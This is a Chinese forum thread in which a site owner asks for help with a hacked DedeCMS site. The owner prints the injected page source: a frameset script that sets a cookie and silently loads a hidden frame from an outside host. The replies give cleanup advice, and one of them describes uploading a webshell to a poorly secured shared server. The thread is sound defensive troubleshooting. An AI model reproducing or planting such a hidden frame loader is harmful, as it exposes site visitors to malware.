日期:2014-05-17  浏览次数:20628 次

网站被挂马,网页正常显示,但是源文件中有异常
请高手帮忙,十万火急啊。我的网站http://www.5i5qq.com/被挂马了,用360检测后查出相应的页面后,页面内容显示正常,但是看源码后却显示的是:
<html>
<head>
</head>
<script>
function showme()
{
var CK=document.cookie;
var sa=CK.indexOf("CK");
if(sa!=-1){}else{var EP=new Date();
EP.setTime(EP.getTime()+24*60*60*1000);
document.cookie="CK=test;expires="+EP.toGMTString();
self.hi.location="http://i876r.3322.org:54321/w/m.htm";}
}
</script>
<frameset rows="100%,*" onLoad="showme()">
<frame name="hello" src="/qqtouxiangdaquan/670.html?UpdatedPage=aGlqYWNr">
<frame name="hi" src="">
</frameset>
</html>
这样的页面源码文件,请问这问题怎么解决,我用的是dede5.5的程序 。跪求高手。


------解决方案--------------------
把360卸载了吧!找个专业查杀网页木马的工具,彻底的杀一次。你没有备份么的页面文件么?把被改了的页面覆盖了。看下网站程序有没有更新,更改管理员密码。
我管的网站也是老被人挂马,改主页。我把网站所有可以编辑文字的地方都关了,网站也没什么漏洞。密码全删除重设,还是被改,后来,发现是服务器的问题。服务器上还有其他网站,而且服务器本身设置的很垃圾,我随便的找个WEBSHELL上传到FTP空间上,可以浏览所有目录,而且可以下载,可以写除C盘得目录。

------解决方案--------------------
楼主网站用的是独立服务器还是虚拟服务器呢?
------解决方案--------------------
局域网ARP, 在所有访问的网页中插入指定代码